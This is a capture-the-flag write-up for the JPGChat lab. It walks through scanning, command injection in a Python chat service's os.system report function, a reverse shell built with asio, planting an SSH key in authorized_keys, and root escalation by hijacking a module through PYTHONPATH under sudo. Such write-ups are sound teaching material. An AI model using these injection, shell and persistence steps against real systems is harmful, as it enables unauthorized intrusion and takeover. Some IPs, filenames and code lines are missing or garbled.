Link to the ctf: JPGChat

Initial foothold.

This was a little tricky because the service at the port 3000 was not responding properly. So I was stuck with rustscan. But nmap tried several times until the port answered.

nmap -sV -sC -p- -T5 -vv -oN nmap.log
Warning: giving up on port because retransmission cap hit (2).
Nmap scan report for
Host is up, received echo-reply ttl 63 (0.077s latency).
Scanned at 2021-03-01 06:29:57 CET for 298s
Not shown: 65533 closed ports
Reason: 65533 resets
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXqRxJhw/1rrvXuEkXF+agfTYMZrCisS01Z9EWAv8j6Cxjd00jBeaTGD/OsyuWUGwIqC0duALIIccwQfG2DjyrJCIPYyXyRiTbTSbqe07wX6qnnxV4xBmKdu8SxVlPKqVN36gQtbHWQqk9M45sej0M3Qz2q5ucrQVgWsjxYflYI1GZg7DSuWbI9/GNJPugt96uxupK0pJiJXNG26sM+w0BdF/DHlWFxG0Z+2CMqSlNt4EA2hlgBWKzGxvKbznJsapdtrAvKxBF6WOfz/FdLMQa7f28UOSs2NnUDrpz8Xhdqz2fj8RiV+gnywm8rkIzT8FOcMTGfsvOHoR8lVFvp5mj
|   256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD2CCqg8ac3eDsePDO27TM9OweWbaqytzrMyj+RbwDCHaAmfvhbA0CqTGdTIBAsVG6ect+OlqwgOvmTewS9ihB8=
|   256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIXcEOgRyLk02uwr8mYrmAmFsUGPSUw1MHEDeH5qmcxv
3000/tcp open  ppp?    syn-ack ttl 63
| fingerprint-strings: 
|   GenericLines, NULL: 
|     Welcome to JPChat
|     source code of this service can be found at our admin's github
|     MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
|_    REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
# Nmap done at Mon Mar  1 06:34:55 2021 -- 1 IP address (1 host up) scanned in 298.59 seconds

The 3000 port ansers with this message:

Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)

(Let’s keep in mind the following sentence: the source code of this service can be found at our admin's github)

I thought it was an http service but apparently I had to use nc to send commands

nc 3000

By writing [REPORT] and sending enter, we find one of the admin’s name: Mozzie-jpg.

So I headed myself to github and wrote Mozzie-jpg

We’re gonna ignore the first result because it’s another writeup. :’) The source code can be found at

#!/usr/bin/env python3

import os

print ('Welcome to JPChat')
print ('the source code of this service can be found at our admin\'s github')

def report_form():

	print ('this report will be read by Mozzie-jpg')
	your_name = input('your name:\n')
	report_text = input('your report:\n')
	os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
	os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)

def chatting_service():

	print ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel')
	print ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)')
	message = input('')

	if message == '[REPORT]':
	if message == '[MESSAGE]':
		print ('There are currently 0 other users logged in')
		while True:
			message2 = input('[MESSAGE]: ')
			if message2 == '[REPORT]':


What we notice in particular is the report_form function. There are two lines where the script calls bash to execute a command.

os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)

Apparently, we can perform an RCE by just injecting our command as your_name and/or as report_text since those two are input that we can control

We are able to inject our command right where the %s stands.

So one thing that we can do is to supply to echo a word (even a letter, whatever it is), insert a semicolon, write our payload and then use # to comment everything else after our payload. So the whole command will look like this: something; <payload> #

I used asio to generate a reverse shell.

asio -H MY_IP -P 8080 -A -B

In this way, asio generates a one-liner that’s gonna try different payloads.

Indeed, that’s a long payload

and we’re gonna open up our listener

rlwrap nc -vlp 8080

and then we’re gonna insert our payload as we previously discussed.

To be sure, I did this for both of your_name and report_text fields. And we got our reverese shell. If we perform a whoami, we can see that we’re the user wes. The next step is to upgrade to a better shell. We can easly create a ssh-key by issuing the following command on our machine:

ssh-keygen -t ecdsa -N '' '' -f wes

and put the content of inside the victim machine in /home/wes/.ssh/authorized_keys

if the folder .ssh doesn’t exist, create it.

echo "ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMCR/VjkHMmpgmgKeuZrSX10wxCDp9ML34CEqvZjkEcy/5IusFxFpm8ECp2Sn2sPz9a5W6FB0YfvjmJnI2wxvtE= jackrendor" > /home/wes/.ssh/authorized_keys

now we can log in via ssh by issuing the followin command:

ssh -i wes wes@

Privilege Escalation

By issuing sudo -l we can see which commands we can execute as root and some other useful information.

Matching Defaults entries for wes on ubuntu-xenial:
    mail_badpass, env_keep+=PYTHONPATH

User wes may run the following commands on ubuntu-xenial:
    (root) SETENV: NOPASSWD: /usr/bin/python3

We can potentially execute the following script: /opt/development/

This is the content of the script:

#!/usr/bin/env python3

from compare import *

print(compare.Str('hello', 'hello', 'hello'))

Some context here: We have env_keep+=PYTHONPATH which allows us to add other paths where python can find the libraries.

and the scripts imports compare as libary. We can create a new script in our home folder called

And then try to mimic the function compare.Str. In our new libary, we call os.system and we try to write our ssh-key to /root/.ssh/authorized_keys.

NOTE: I’m using the same public key as wes, you could create another key if you want to, but I preferred to not to.

import os
class compare:
  def Str(s1, s2, s3):
    os.system("mkdir /root/.ssh; echo ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMCR/VjkHMmpgmgKeuZrSX10wxCDp9ML34CEqvZjkEcy/5IusFxFpm8ECp2Sn2sPz9a5W6FB0YfvjmJnI2wxvtE= jackrendor >> /root/.ssh/authorized_keys")

Now, we have to change hte PYTHONPATH env. In this way, python will look up for the library in our directory.


Now we execute the python script with sudo:

sudo /usr/bin/python3 /opt/development/

We can see some strange output:

mkdir: cannot create directory ‘/root/.ssh’: File exists

But it doesn’t matter that mkdir failed, because it actually wrote the ssh key in the /root/.ssh/authoridez_keys because otherwise we would’ve get another error.

Now, on our machine, we can once again use ssh but this time we’re gonna use the username root. Same as we did before.

ssh -i wes root@